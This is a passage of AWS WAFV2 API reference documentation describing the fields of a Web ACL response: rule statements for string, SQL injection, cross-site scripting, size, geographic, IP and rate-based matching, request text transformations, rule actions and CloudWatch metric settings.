'VisibilityConfig': { 'SampledRequestsEnabled': True|False, 'CloudWatchMetricsEnabled': True|False, 'MetricName': 'string' } }, ], 'ManagedByFirewallManager': True|False }, 'LockToken': 'string' } Response Structure (dict) -- WebACL (dict) -- The Web ACL specification. You can modify the settings in this Web ACL and use it to update this Web ACL or create a new one. Name (string) -- The name of the Web ACL. You cannot change the name of a Web ACL after you create it. Id (string) -- A unique identifier for the WebACL . This ID is returned in the responses to create and list commands. You use this ID to do things like get, update, and delete a WebACL . ARN (string) -- The Amazon Resource Name (ARN) of the Web ACL that you want to associate with the resource. DefaultAction (dict) -- The action to perform if none of the Rules contained in the WebACL match. Block (dict) -- Specifies that AWS WAF should block requests by default. Allow (dict) -- Specifies that AWS WAF should allow requests by default. Description (string) -- A description of the Web ACL that helps with identification. You cannot change the description of a Web ACL after you create it. Rules (list) -- The Rule statements used to identify the web requests that you want to allow, block, or count. Each rule includes one top-level statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A single rule, which you can use in a WebACL or RuleGroup to identify web requests that you want to allow, block, or count. Each rule includes one top-level Statement that AWS WAF uses to identify matching web requests, and parameters that govern how AWS WAF handles them. Name (string) -- The name of the rule. You can\'t change the name of a Rule after you create it. Priority (integer) -- If you define more than one Rule in a WebACL , AWS WAF evaluates each request against the Rules in order based on the value of Priority . AWS WAF processes rules with lower priority first. The priorities don\'t need to be consecutive, but they must all be different. Statement (dict) -- The AWS WAF processing statement for the rule, for example ByteMatchStatement or SizeConstraintStatement . ByteMatchStatement (dict) -- A rule statement that defines a string match search for AWS WAF to apply to web requests. The byte match statement provides the bytes to search for, the location in requests that you want AWS WAF to search, and other settings. The bytes to search for are typically a string that corresponds with ASCII characters. In the AWS WAF console and the developer guide, this is refered to as a string match statement. SearchString (bytes) -- A string value that you want AWS WAF to search for. AWS WAF searches only in the part of web requests that you designate for inspection in FieldToMatch . The maximum length of the value is 50 bytes. Valid values depend on the component that you specify for inspection in FieldToMatch : Method : The HTTP method that you want AWS WAF to search for. This indicates the type of operation specified in the request. UriPath : The value that you want AWS WAF to search for in the URI path, for example, /images/daily-ad.jpg . If SearchString includes alphabetic characters A-Z and a-z, note that the value is case sensitive. If you\'re using the AWS WAF API Specify a base64-encoded version of the value. The maximum length of the value before you base64-encode it is 50 bytes. For example, suppose the value of Type is HEADER and the value of Data is User-Agent . If you want to search the User-Agent header for the value BadBot , you base64-encode BadBot using MIME base64-encoding and include the resulting value, QmFkQm90 , in the value of SearchString . If you\'re using the AWS CLI or one of the AWS SDKs The value that you want AWS WAF to search for. The SDK automatically base64 encodes the value. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. PositionalConstraint (string) -- The area within the portion of a web request that you want AWS WAF to search for SearchString . Valid values include the following: CONTAINS The specified part of the web request must include the value of SearchString , but the location doesn\'t matter. CONTAINS_WORD The specified part of the web request must include the value of SearchString , and SearchString must contain only alphanumeric characters or underscore (A-Z, a-z, 0-9, or _). In addition, SearchString must be a word, which means that both of the following are true: SearchString is at the beginning of the specified part of the web request or is preceded by a character other than an alphanumeric character or underscore (_). Examples include the value of a header and ;BadBot . SearchString is at the end of the specified part of the web request or is followed by a character other than an alphanumeric character or underscore (_), for example, BadBot; and -BadBot; . EXACTLY The value of the specified part of the web request must exactly match the value of SearchString . STARTS_WITH The value of SearchString must appear at the beginning of the specified part of the web request. ENDS_WITH The value of SearchString must appear at the end of the specified part of the web request. SqliMatchStatement (dict) -- Attackers sometimes insert malicious SQL code into web requests in an effort to extract data from your database. To allow or block web requests that appear to contain malicious SQL code, create one or more SQL injection match conditions. An SQL injection match condition identifies the part of web requests, such as the URI or the query string, that you want AWS WAF to inspect. Later in the process, when you create a web ACL, you specify whether to allow or block requests that appear to contain malicious SQL code. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. XssMatchStatement (dict) -- A rule statement that defines a cross-site scripting (XSS) match search for AWS WAF to apply to web requests. XSS attacks are those where the attacker uses vulnerabilities in a benign website as a vehicle to inject malicious client-site scripts into other legitimate web browsers. The XSS match statement provides the location in requests that you want AWS WAF to search and text transformations to use on the search area before AWS WAF searches for character sequences that are likely to be malicious strings. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. SizeConstraintStatement (dict) -- A rule statement that compares a number of bytes against the size of a request component, using a comparison operator, such as greater than (>) or less than (<). For example, you can use a size constraint statement to look for query strings that are longer than 100 bytes. If you configure AWS WAF to inspect the request body, AWS WAF inspects only the first 8192 bytes (8 KB). If the request body for your web requests never exceeds 8192 bytes, you can create a size constraint condition and block requests that have a request body greater than 8192 bytes. If you choose URI for the value of Part of the request to filter on, the slash (/) in the URI counts as one character. For example, the URI /logo.jpg is nine characters long. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. ComparisonOperator (string) -- The operator to use to compare the request part to the size setting. Size (integer) -- The size, in byte, to compare to the request part, after any transformations. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. GeoMatchStatement (dict) -- A rule statement used to identify web requests based on country of origin. CountryCodes (list) -- An array of two-character country codes, for example, [ "US", "CN" ] , from the alpha-2 country ISO codes of the ISO 3166 international standard. (string) -- RuleGroupReferenceStatement (dict) -- A rule statement used to run the rules that are defined in a RuleGroup . To use this, create a rule group with your rules, then provide the ARN of the rule group in this statement. You cannot nest a RuleGroupReferenceStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. ARN (string) -- The Amazon Resource Name (ARN) of the entity. ExcludedRules (list) -- The names of rules that are in the referenced rule group, but that you want AWS WAF to exclude from processing for this rule statement. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. IPSetReferenceStatement (dict) -- A rule statement used to detect web requests coming from particular IP addresses or address ranges. To use this, create an IPSet that specifies the addresses you want to detect, then use the ARN of that set in this statement. To create an IP set, see CreateIPSet . Each IP set rule statement references an IP set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it. ARN (string) -- The Amazon Resource Name (ARN) of the IPSet that this statement references. RegexPatternSetReferenceStatement (dict) -- A rule statement used to search web request components for matches with regular expressions. To use this, create a RegexPatternSet that specifies the expressions that you want to detect, then use the ARN of that set in this statement. A web request matches the pattern set rule statement if the request component matches any of the patterns in the set. To create a regex pattern set, see CreateRegexPatternSet . Each regex pattern set rule statement references a regex pattern set. You create and maintain the set independent of your rules. This allows you to use the single set in multiple rules. When you update the referenced set, AWS WAF automatically updates all rules that reference it. ARN (string) -- The Amazon Resource Name (ARN) of the RegexPatternSet that this statement references. FieldToMatch (dict) -- The part of a web request that you want AWS WAF to inspect. For more information, see FieldToMatch . SingleHeader (dict) -- Inspect a single header. Provide the name of the header to inspect, for example, User-Agent or Referer . This setting isn\'t case sensitive. Name (string) -- The name of the query header to inspect. SingleQueryArgument (dict) -- Inspect a single query argument. Provide the name of the query argument to inspect, such as UserName or SalesRegion . The name can be up to 30 characters long and isn\'t case sensitive. This is used only to indicate the web request component for AWS WAF to inspect, in the FieldToMatch specification. Name (string) -- The name of the query argument to inspect. AllQueryArguments (dict) -- Inspect all query arguments. UriPath (dict) -- Inspect the request URI path. This is the part of a web request that identifies a resource, for example, /images/daily-ad.jpg . QueryString (dict) -- Inspect the query string. This is the part of a URL that appears after a ? character, if any. Body (dict) -- Inspect the request body, which immediately follows the request headers. This is the part of a request that contains any additional data that you want to send to your web server as the HTTP request body, such as data from a form. Note that only the first 8 KB (8192 bytes) of the request body are forwarded to AWS WAF for inspection by the underlying host service. If you don\'t need to inspect more than 8 KB, you can guarantee that you don\'t allow additional bytes in by combining a statement that inspects the body of the web request, such as ByteMatchStatement or RegexPatternSetReferenceStatement , with a SizeConstraintStatement that enforces an 8 KB size limit on the body of the request. AWS WAF doesn\'t support inspecting the entire contents of web requests whose bodies exceed the 8 KB limit. Method (dict) -- Inspect the HTTP method. The method indicates the type of operation that the request is asking the origin to perform. TextTransformations (list) -- Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. If you specify one or more transformations in a rule statement, AWS WAF performs all transformations on the content of the request component identified by FieldToMatch , starting from the lowest priority setting, before inspecting the content for a match. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Text transformations eliminate some of the unusual formatting that attackers use in web requests in an effort to bypass detection. Priority (integer) -- Sets the relative processing order for multiple transformations that are defined for a rule statement. AWS WAF processes all transformations, from lowest priority to highest, before inspecting the transformed content. The priorities don\'t need to be consecutive, but they must all be different. Type (string) -- You can specify the following transformation types: CMD_LINE When you\'re concerned that attackers are injecting an operating system command line command and using unusual formatting to disguise some or all of the command, use this option to perform the following transformations: Delete the following characters: " \' ^ Delete spaces before the following characters: / ( Replace the following characters with a space: , ; Replace multiple spaces with one space Convert uppercase letters (A-Z) to lowercase (a-z) COMPRESS_WHITE_SPACE Use this option to replace the following characters with a space character (decimal 32): f, formfeed, decimal 12 t, tab, decimal 9 n, newline, decimal 10 r, carriage return, decimal 13 v, vertical tab, decimal 11 non-breaking space, decimal 160 COMPRESS_WHITE_SPACE also replaces multiple spaces with one space. HTML_ENTITY_DECODE Use this option to replace HTML-encoded characters with unencoded characters. HTML_ENTITY_DECODE performs the following operations: Replaces (ampersand)quot; with " Replaces (ampersand)nbsp; with a non-breaking space, decimal 160 Replaces (ampersand)lt; with a "less than" symbol Replaces (ampersand)gt; with > Replaces characters that are represented in hexadecimal format, (ampersand)#xhhhh; , with the corresponding characters Replaces characters that are represented in decimal format, (ampersand)#nnnn; , with the corresponding characters LOWERCASE Use this option to convert uppercase letters (A-Z) to lowercase (a-z). URL_DECODE Use this option to decode a URL-encoded value. NONE Specify NONE if you don\'t want any text transformations. RateBasedStatement (dict) -- A rate-based rule tracks the rate of requests for each originating IP address, and triggers the rule action when the rate exceeds a limit that you specify on the number of requests in any 5-minute time span. You can use this to put a temporary block on requests from an IP address that is sending excessive requests. When the rule action triggers, AWS WAF blocks additional requests from the IP address until the request rate falls below the limit. You can optionally nest another statement inside the rate-based statement, to narrow the scope of the rule so that it only counts requests that match the nested statement. For example, based on recent requests that you have seen from an attacker, you might create a rate-based rule with a nested AND rule statement that contains the following nested statements: An IP match statement with an IP set that specified the address 192.0.2.44. A string match statement that searches in the User-Agent header for the string BadBot. In this rate-based rule, you also define a rate limit. For this example, the rate limit is 1,000. Requests that meet both of the conditions in the statements are counted. If the count exceeds 1,000 requests per five minutes, the rule action triggers. Requests that do not meet both conditions are not counted towards the rate limit and are not affected by this rule. You cannot nest a RateBasedStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. Limit (integer) -- The limit on requests per 5-minute period for a single originating IP address. If the statement includes a ScopDownStatement , this limit is applied only to the requests that match the statement. AggregateKeyType (string) -- Setting that indicates how to aggregate the request counts. Currently, you must set this to IP . The request counts are aggregated on IP addresses. ScopeDownStatement (dict) -- An optional nested statement that narrows the scope of the rate-based statement to matching web requests. This can be any nestable statement, and you can nest statements at any level below this scope-down statement. AndStatement (dict) -- A logical rule statement used to combine other rule statements with AND logic. You provide more than one Statement within the AndStatement . Statements (list) -- The statements to combine with AND logic. You can use any statements that can be nested. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule. OrStatement (dict) -- A logical rule statement used to combine other rule statements with OR logic. You provide more than one Statement within the OrStatement . Statements (list) -- The statements to combine with OR logic. You can use any statements that can be nested. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . The processing guidance for a Rule , used by AWS WAF to determine whether a web request matches the rule. NotStatement (dict) -- A logical rule statement used to negate the results of another rule statement. You provide one Statement within the NotStatement . Statement (dict) -- The statement to negate. You can use any statement that can be nested. ManagedRuleGroupStatement (dict) -- A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a rule. VendorName (string) -- The name of the managed rule group vendor. You use this, along with the rule group name, to identify the rule group. Name (string) -- The name of the managed rule group. You use this, along with the vendor name, to identify the rule group. ExcludedRules (list) -- The rules whose actions are set to COUNT by the web ACL, regardless of the action that is set on the rule. This effectively excludes the rule from acting on web requests. (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . Specifies a single rule to exclude from the rule group. Excluding a rule overrides its action setting for the rule group in the web ACL, setting it to COUNT . This effectively excludes the rule from acting on web requests. Name (string) -- The name of the rule to exclude. Action (dict) -- The action that AWS WAF should take on a web request when it matches the rule statement. Settings at the web ACL level can override the rule action setting. This is used only for rules whose statements do not reference a rule group. Rule statements that reference a rule group include RuleGroupReferenceStatement and ManagedRuleGroupStatement . You must specify either this Action setting or the rule OverrideAction setting, but not both: If the rule statement does not reference a rule group, use this rule action setting and not the rule override action setting. If the rule statement references a rule group, use the override action setting and not this action setting. Block (dict) -- Instructs AWS WAF to block the web request. Allow (dict) -- Instructs AWS WAF to allow the web request. Count (dict) -- Instructs AWS WAF to count the web request and allow it. OverrideAction (dict) -- The override action to apply to the rules in a rule group. Used only for rule statements that reference a rule group, like RuleGroupReferenceStatement and ManagedRuleGroupStatement . Set the override action to none to leave the rule actions in effect. Set it to count to only count matches, regardless of the rule action settings. In a Rule , you must specify either this OverrideAction setting or the rule Action setting, but not both: If the rule statement references a rule group, use this override action setting and not the action setting. If the rule statement does not reference a rule group, use the rule action setting and not this rule override action setting. Count (dict) -- Override the rule action setting to count. None (dict) -- Don\'t override the rule action setting. VisibilityConfig (dict) -- Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) -- A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) -- A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) -- A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . VisibilityConfig (dict) -- Defines and enables Amazon CloudWatch metrics and web request sample collection. SampledRequestsEnabled (boolean) -- A boolean indicating whether AWS WAF should store a sampling of the web requests that match the rules. You can view the sampled requests through the AWS WAF console. CloudWatchMetricsEnabled (boolean) -- A boolean indicating whether the associated resource sends metrics to CloudWatch. For the list of available metrics, see AWS WAF Metrics . MetricName (string) -- A name of the CloudWatch metric. The name can contain only alphanumeric characters (A-Z, a-z, 0-9), with length from one to 128 characters. It can\'t contain whitespace or metric names reserved for AWS WAF, for example "All" and "Default_Action." You can\'t change a MetricName after you create a VisibilityConfig . Capacity (integer) -- The web ACL capacity units (WCUs) currently being used by this web ACL. AWS WAF uses WCUs to calculate and control the operating resources that are used to run your rules, rule groups, and web ACLs. AWS WAF calculates capacity differently for each rule type, to reflect the relative cost of each rule. Simple rules that cost little to run use fewer WCUs than more complex rules that use more processing power. Rule group capacity is fixed at creation, which helps users plan their web ACL WCU usage when they use a rule group. The WCU limit for web ACLs is 1,500. PreProcessFirewallManagerRuleGroups (list) -- The first set of rules for AWS WAF to process in the web ACL. This is defined in an AWS Firewall Manager WAF policy and contains only rule group references. You can\'t alter these. Any rules and rule groups that you define for the web ACL are prioritized after these. In the Firewall Manager WAF policy, the Firewall Manager administrator can define a set of rule groups to run first in the web ACL and a set of rule groups to run last. Within each set, the administrator prioritizes the rule groups, to determine their relative processing order. (dict) -- A rule group that\'s defined for an AWS Firewall Manager WAF policy. Name (string) -- The name of the rule group. You cannot change the name of a rule group after you create it. Priority (integer) -- If you define more than one rule group in the first or last Firewall Manager rule groups, AWS WAF evaluates each request against the rule groups in order, starting from the lowest priority setting. The priorities don\'t need to be consecutive, but they must all be different. FirewallManagerStatement (dict) -- The processing guidance for an AWS Firewall Manager rule. This is like a regular rule Statement , but it can only contain a rule group reference. ManagedRuleGroupStatement (dict) -- Note This is the latest version of AWS WAF , named AWS WAFV2, released in November, 2019. For information, including how to migrate your AWS WAF resources from the prior release, see the AWS WAF Developer Guide . A rule statement used to run the rules that are defined in a managed rule group. To use this, provide the vendor name and the name of the rule group in this statement. You can retrieve the required names by calling ListAvailableManagedRuleGroups . You can\'t nest a ManagedRuleGroupStatement , for example for use inside a NotStatement or OrStatement . It can only be referenced as a top-level statement within a 